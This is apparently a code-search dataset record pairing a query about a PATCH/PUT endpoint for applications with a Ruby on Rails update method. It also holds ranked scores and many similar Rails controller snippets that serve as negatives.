"def create_application(application_entity)\n # handle runtimes / cartridges\n fail_with(:only_one_runtime) if application_entity[:runtimes].length > 1\n fail_with(:must_have_runtime) if application_entity[:runtimes].empty?\n application_entity[:cartridge] = cartridge(application_entity.delete(:runtimes)[0])\n\n # updates the application with a valid region identity\n retrieve_region(application_entity) if application_entity.key?(:region)\n\n # enable application scaling by default\n application_entity[:scale] = true unless application_entity.key?(:scale)\n created_application = post(\"/domains/#{app_domain}/applications\", body: application_entity).body\n # now make sure we keep at least 2 deployments, allows proper identification of application state\n updated_application = put(\"/application/#{created_application[:data][:id]}\",\n body: { keep_deployments: 2, auto_deploy: false }).body\n to_nucleus_app(updated_application[:data])\n end",
"def create\n @mobileapp = Mobileapp.new(params[:mobileapp])\n \n respond_to do |format|\n if @mobileapp.save\n format.html { redirect_to @mobileapp, notice: 'Mobileapp was successfully created.' }\n format.json { render json: @mobileapp, status: :created, location: @mobileapp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mobileapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @merchant_application = MerchantApplication.new(merchant_application_params)\n\n respond_to do |format|\n if @merchant_application.save\n format.html { redirect_to merchant_applications_path, notice: 'Merchant application was successfully created.' }\n format.json { render :show, status: :created, location: @merchant_application }\n else\n format.html { render :new }\n format.json { render json: @merchant_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def applications=(value)\n @applications = value\n end",
"def applications=(value)\n @applications = value\n end",
"def create\n @application = Application.new(params[:application])\n p @params\n user = User.find_by_user(params['requester'])\n puts user\n\n @application['user_id'] = user.id\n @application['status'] = 0\n @application['apply_date'] = Time.now\n\n\n @application['to'] = params[:application]['to'].join(\",\")\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to :action => \"index\", notice: 'Application was successfully created.' }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html { render action: \"new\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n respond_with @applications = Application.all\n end",
"def create\n @app = App.new(app_params)\n IO.popen([\"mail\", \"-s\", \"New Application request\", \"[email protected]\"], \"w\") {|f|\n f.puts @app.name;\n f.puts @app.email;\n f.puts @app.phone;\n f.puts @app.date;\n f.puts @app.employment;\n f.puts @app.currently;\n f.puts @app.looking_for;\n f.puts @app.experience;\n f.puts @app.ideas;\n f.puts @app.linkedin;\n f.puts @app.heard_from;\n f.close_write;\n }\n\n gb = Gibbon::API.new\n \n name_array = app_params[:name].split\n first_name = app_params[:name]\n last_name = \"\"\n if name_array.length > 1 && name_array[0].length > 0 && name_array[1].length > 0\n first_name = name_array[0]\n last_name = name_array[1]\n end\n puts \"subscribing new user to list\"\n \n gb.lists.subscribe({:id => \"75aba6bef3\", :email => {:email => app_params[:email]}, :merge_vars => {:FNAME => first_name, :LNAME => last_name}, :double_optin => true})\n\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to root_path, notice: \"A lovely application! We'll be in touch soon!\" }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.75116587",
"0.71207345",
"0.7010675",
"0.6972333",
"0.69557625",
"0.6880354",
"0.6869019",
"0.68499786",
"0.68343264",
"0.68269056",
"0.6799753",
"0.675681",
"0.6751725",
"0.6713167",
"0.6713167",
"0.666653",
"0.6665178",
"0.66617703",
"0.6661104",
"0.6633788",
"0.6618918",
"0.6590122",
"0.6574583",
"0.6573529",
"0.6568988",
"0.65508324",
"0.65480816",
"0.65480816",
"0.6546835",
"0.6541047",
"0.6532347",
"0.6490778",
"0.6467706",
"0.6458433",
"0.64568985",
"0.64473975",
"0.6443079",
"0.64266133",
"0.63885105",
"0.63830584",
"0.6362001",
"0.6358872",
"0.63588214",
"0.6342806",
"0.63010347",
"0.6284585",
"0.62639695",
"0.62581325",
"0.62496823",
"0.6227118",
"0.62258947",
"0.62243503",
"0.6211215",
"0.6211215",
"0.6211215",
"0.6210357",
"0.6185413",
"0.61790603",
"0.61399096",
"0.61356133",
"0.61340624",
"0.61064166",
"0.61030316",
"0.608491",
"0.60846883",
"0.6076413",
"0.60594654",
"0.6058508",
"0.605207",
"0.6045995",
"0.6045641",
"0.6041742",
"0.60413593",
"0.60413593",
"0.60405874",
"0.60265076",
"0.60265076",
"0.6017248",
"0.60042727",
"0.600415",
"0.60024613",
"0.5998748",
"0.59959185",
"0.5988319",
"0.5980818",
"0.59791166",
"0.59778553",
"0.5975622",
"0.59730715",
"0.5960926",
"0.5960356",
"0.5956831",
"0.59541404",
"0.5946242",
"0.5922994",
"0.59041595",
"0.59041595",
"0.5901319",
"0.5899116",
"0.5895328"
] | 0.61925936 | 56 |
PATCH/PUT /applications/1 PATCH/PUT /applications/1.json | def update
@j_id = @application.job_id
respond_to do |format|
if @application.update(application_params)
format.html { redirect_to @application, notice: 'Application was successfully updated.' }
format.json { render :show, status: :ok, location: @application }
else
format.html { render :edit }
format.json { render json: @application.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_app data={}\n put '/app', data\n end",
"def update\n if @application.update(application_params)\n render json: @application, status: :ok, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",
"def update\n @app = @client.app(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app]) # FIXME\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n if @app.update(app_params)\n head :no_content\n else\n render json: @app.errors, status: :unprocessable_entity\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to root_path, notice: 'Application was successfully submitted.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n return unless admin?\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, attributes)\n\t\tput(\"/apps/#{name}\", :app => attributes)\n\tend",
"def update(name, attributes)\n\t\tput(\"/apps/#{name}\", :app => attributes)\n\tend",
"def update\n\n if @app.update_attributes(params[:app])\n respond_to do |format|\n format.html {\n redirect_to app_path(@app), notice: 'app was successfully updated.'\n }\n format.json { render :nothing => true}\n end\n else\n respond_to do |format|\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html {\n flash[:success] = 'Application was successfully updated.'\n redirect_to [:admin, @application]\n }\n format.json { head :no_content }\n else\n format.html {\n flash[:error] = 'Failed to update application.'\n render action: \"edit\"\n }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to dynamic_url(@application, action: :edit), notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @application.update(application_params)\n render :show, status: :ok, location: @application\n else\n render json: @application.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, alert: 'Your application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: \"Application was successfully updated.\" }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n if @app \n @app.update(app_params)\n\n if @app.valid?\n head :no_content\n else \n head :bad_request\n end\n else \n head :not_found\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n if @application.update_attributes(params[:application])\n flash[:notice] = 'Application was successfully updated.'\n end\n \n respond_with @application\n end",
"def update\n respond_to do |format|\n if @client_application.update(client_application_params)\n format.html { redirect_to @client_application, notice: 'Client application was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_application }\n else\n format.html { render :edit }\n format.json { render json: @client_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html {redirect_to @application, notice: 'Application was successfully updated.'}\n format.json {render :show, status: :ok, location: @application}\n else\n format.html {render :edit}\n format.json {render json: @application.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @newapp = Newapp.find(params[:id])\n\n respond_to do |format|\n if @newapp.update_attributes(params[:newapp])\n format.html { redirect_to @newapp, notice: 'Newapp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @newapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application.owner = current_user if @application.owner.blank?\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to settings_admin_oread_applications_path, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, attributes)\n put(\"/apps/#{name}\", :app => attributes).to_s\n end",
"def update\n authorize! :update, @app\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n \n respond_to do |format|\n if @application.update_attributes(params[:application])\n flash[:notice] = 'Application was successfully updated.'\n format.html { redirect_to(@application) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user_app = UserApp.find(params[:id])\n\n respond_to do |format|\n if @user_app.update_attributes(params[:user_app])\n format.html { redirect_to @user_app, notice: 'User app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to student_url(current_user), notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application_event=ApplicationsEvent.find(params[:applications_event_id])\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n if @applications_application.update_attributes(params[:applications_application])\n format.html { redirect_to @applications_application, notice: 'Applications application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @applications_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n new_name = params[:application][:name].to_s.downcase\n @application.name = params[:application][:name]\n User.edit_app_name(@application.id, new_name) if @application.valid?\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to applications_path, notice: 'Приложение обновлено.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to(@app, :notice => 'App was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to(@app, :notice => 'App was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @client_app = ClientApp.find(params[:id])\n\n respond_to do |format|\n if @client_app.update_attributes(params[:client_app])\n format.html { redirect_to(client_apps_path, :notice => 'Client app was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @seed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:uid])\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to app_path(uid: @app.uid), notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n flash[:notice] = 'App was successfully updated.'\n format.html { redirect_to(app_path(@app)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @application_form = ApplicationForm.find(params[:id])\n authorize @application_form\n\n if @application_form.update(application_form_params)\n head :no_content\n else\n render json: @application_form.errors, status: :unprocessable_entity\n end\n end",
"def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single camp_application based on the id\n camp_application = CampApplication.find_by(id: the_id)\n\n # update it\n if camp_application.update!(\n camp_id: params[:camp_id],\n application_id: params[:application_id]\n )\n render json: camp_application.as_json\n else\n render json: {errors: camp_application.errors.full_messages}\n end\n end",
"def update\n respond_to do |format|\n if @test_app.update(test_app_params)\n format.html { redirect_to @test_app, notice: 'Test app was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_app }\n else\n format.html { render :edit }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_app.update(test_app_params)\n format.html { redirect_to @test_app, notice: \"Test app was successfully updated.\" }\n format.json { render :show, status: :ok, location: @test_app }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app.update(app_params)\n flash[:success] = 'App was successfully updated.'\n format.html { redirect_to @app }\n format.json { render :show, status: :ok, location: @app }\n else\n flash[:danger] = 'There was a problem updating the App Catalog Page.'\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @parent_app.update(parent_app_params)\n format.html { redirect_to @parent_app, notice: 'Parent app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @parent_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_app.update(admin_app_params)\n format.html { redirect_to [:admin, @admin_app], notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_app }\n else\n format.html { render :edit }\n format.json { render json: @admin_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @app.update(app_params)\n format.html { redirect_to apps_path, notice: 'App was successfully updated.' }\n format.json { render :show, status: :ok, location: @app }\n else\n format.html { render :edit }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n\n Services::OpenIdConnectionService.new(@app).update \n end",
"def update\n respond_to do |format|\n if @user_application.update(user_application_params)\n format.html { redirect_to @user_application, notice: 'User application was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_application }\n else\n format.html { render :edit }\n format.json { render json: @user_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, optional_params = {})\n response = Network.post(['Applications', id], optional_params)\n Application.new(response)\n end",
"def update\n # TODO permissions\n if @app.user_id == current_user.id\n # @app.attributes = params[:app]\n @app.attributes = {'platform_ids' => []}.merge(params[:app] || {})\n # TODO Sanitize links\n # [:name, :website, :twitter, :facebook, :google_plus, :android, :itunes].each do |x|\n # @app.attributes[x] = Sanitize.clean(@app.attributes[x])\n # end\n if @app.save_update_by(current_user.id, request.remote_ip)\n flash[:notice] = \"Successfully updated.\"\n redirect_to app_path(@app)\n else\n render \"edit\"\n end\n else\n flash[:error] = \"You are not allowed to update the app.\"\n redirect_to app_path(@app)\n end\n end",
"def update\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n if @app_config.update_attributes(params[:app_config])\n format.html { redirect_to @app_config, notice: 'App config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize_action_for @app\n\n respond_to do |format|\n if app_params[:android_config].present? && app_params[:android_config][:bundle_id].present?\n if (@app.android_config['bundle_id'] != app_params[:android_config][:bundle_id]) && App.android_bundle_id?(app_params[:android_config][:bundle_id])\n @app.errors.add(:base, 'Android bundle id is invalid or already used')\n end\n end\n\n if app_params[:ios_config].present? && app_params[:ios_config][:bundle_id].present?\n if (@app.ios_config['bundle_id'] != app_params[:ios_config][:bundle_id]) && App.ios_bundle_id?(app_params[:ios_config][:bundle_id])\n @app.errors.add(:base, 'iOS bundle id is invalid or already used')\n end\n end\n\n if [email protected]_messages.present? && @app.update(app_params)\n format.html { redirect_to request.referrer, notice: 'App was successfully updated.' }\n format.json { render json: @app, status: :ok, location: :edit }\n else\n format.html { render :settings }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @application_form.update(application_form_params)\n format.html { redirect_to @application_form, notice: 'Application form was successfully updated.' }\n format.json { render :show, status: :ok, location: @application_form }\n else\n format.html { render :edit }\n format.json { render json: @application_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @phone_app.update(phone_app_params)\n format.html { redirect_to @phone_app, notice: 'Phone app was successfully updated.' }\n format.json { render :show, status: :ok, location: @phone_app }\n else\n format.html { render :edit }\n format.json { render json: @phone_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task_application.update(task_application_params)\n format.html { redirect_to @task_application, notice: 'Task application was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @task_application }\n else\n format.html { render action: 'edit' }\n format.json { render json: @task_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app_request.update(app_request_params)\n format.html { redirect_to @app_request, notice: 'App request was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_request }\n else\n format.html { render :edit }\n format.json { render json: @app_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @todo_app.update(todo_app_params)\n format.html { redirect_to @todo_app, notice: 'Todo app was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo_app }\n else\n format.html { render :edit }\n format.json { render json: @todo_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @visa_application.update(visa_application_params)\n format.html { redirect_to @visa_application, notice: 'Visa application was successfully updated.' }\n format.json { render :show, status: :ok, location: @visa_application }\n else\n format.html { render :edit }\n format.json { render json: @visa_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url}\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @registered_app.update(registered_app_params)\n format.html { redirect_to @registered_app, notice: 'Registered app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @registered_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, attributes)\n deprecate # 07/26/2012\n put(\"/apps/#{name}\", :app => attributes).to_s\n end",
"def update\n respond_to do |format|\n if @project_application.update(project_application_params)\n format.html { redirect_to @project_application, notice: 'Project application was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_application }\n else\n format.html { render :edit }\n format.json { render json: @project_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n if params[:cancel_edit_app_button]\n respond_to do |format|\n format.html do\n if request.xhr? \n render :partial => 'app', :locals => { :app => @app }\n else\n redirect_to apps_url\n end\n end\n \n format.xml { head :ok }\n end\n \n return\n end\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html do\n if request.xhr?\n render :partial => 'app', :locals => {:app => @app}\n else\n flash[:notice] = 'App was successfully updated.'\n redirect_to app_activities_path(@app)\n end\n end\n format.xml { head :ok }\n else\n format.html do\n if request.xhr?\n render :partial => 'edit_horizontal', :locals => {:app => @app}\n else\n render :action => 'edit'\n end\n end\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: t('job_applications_controller.job_applications_update_success') }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@jobapp = Jobapp.find(params[:id])\n\n respond_to do |format|\n if @jobapp.update_attributes(params[:jobapp])\n format.html { redirect_to @jobapp, notice: 'Jobapp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jobapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_application = StudentApplication.find(params[:id])\n\n respond_to do |format|\n if @student_application.update_attributes(params[:student_application])\n format.html { redirect_to @student_application, notice: 'Student application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n set_wine_app_description\n set_wine_app_screenshot\n respond_to do |format|\n if @wine_app.update(wine_app_params)\n format.html { redirect_to @wine_app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wine_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client_application.logo = params['client_application']['logo']\n @client_application.theme = params['theme']\n @client_application.save\n respond_to do |format|\n if @client_application.update(client_application_params)\n logger.debug(\"IN THE APPLICATION UPDATE*************************\")\n format.html { redirect_to @client_application, notice: 'Client application was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_application }\n else\n format.html { render :edit }\n format.json { render json: @client_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @app_instance.update(app_instance_params)\n format.html { redirect_to @app_instance, notice: 'App instance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @app_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @herga_application.update(herga_application_params)\n format.html { redirect_to @herga_application, notice: 'Herga application was successfully updated.' }\n format.json { render :show, status: :ok, location: @herga_application }\n else\n format.html { render :edit }\n format.json { render json: @herga_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mobile_app.update(mobile_app_params)\n format.html { redirect_to @mobile_app, notice: 'Mobile app was successfully updated.' }\n format.json { render :show, status: :ok, location: @mobile_app }\n else\n format.html { render :edit }\n format.json { render json: @mobile_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @employment_application.update(employment_application_params)\n format.html { redirect_to @employment_application, notice: 'Employment application was successfully updated.' }\n format.json { render :show, status: :ok, location: @employment_application }\n else\n format.html { render :edit }\n format.json { render json: @employment_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @applist.update(applist_params)\n format.html { redirect_to @applist, notice: 'Applist was successfully updated.' }\n format.json { render :show, status: :ok, location: @applist }\n else\n format.html { render :edit }\n format.json { render json: @applist.errors, status: :unprocessable_entity }\n end\n end\n end",
